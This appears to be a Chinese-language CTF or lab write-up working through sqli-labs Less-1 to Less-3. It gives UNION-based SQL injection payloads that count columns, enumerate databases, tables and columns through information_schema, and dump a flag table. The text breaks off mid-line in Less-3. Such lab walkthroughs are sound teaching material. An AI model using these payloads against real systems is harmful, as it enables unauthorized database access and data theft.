注入的sql一直想写来着的。之前数据库课偷懒的我,留下了悔恨的眼泪。。。(后面看着太烦了就没听了)
Less-1
order by语句
order by(默认升序排列) 可以测试一下当前一共select了多少个字段
select * from user where username='1' ORDER BY 3 -- +'
union 联合查询语句
union前后的两个sql语句的选择列数要相同才可以。Union all与union 的区别是增加了去重的功能。当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。
select * from user where username='-1' UNION select 1,version(),database() -- +
查询版本号,数据库名
数据库名,利用information_schema.SCHEMATA
这个表
select * from user where username='-1' UNION select 1,group_concat(SCHEMA_NAME),4 FROM information_schema.SCHEMATA -- +'
查表,利用information_schema.TABLES
这个表
select * from user where username='-1' UNION select 1,group_concat(table_name),4 FROM information_schema.`TABLES` WHERE TABLE_SCHEMA='ctftraining' -- +'
报ctftraining数据库的flag表的字段名
select * from user where username='-1' UNION select 1,group_concat(column_name),4 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='ctftraining' AND TABLE_NAME='flag' -- +'
查找ctftraining数据库的flag表的flag字段的值
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-2
1 ' -- +
发现报错了,应该是应该是单引号影响了闭合。题目又说整数型报错。
所以猜测语句为:
$sql="select * from users where id='$id'";
所以不需要闭合直接用lesss-1的payload就行了,以防万一注释掉后面的内容
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'
less-3
简单注入了一下看报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,2,3 -- ') LIMIT 0,1' at line 1
猜测语句:$sql=&#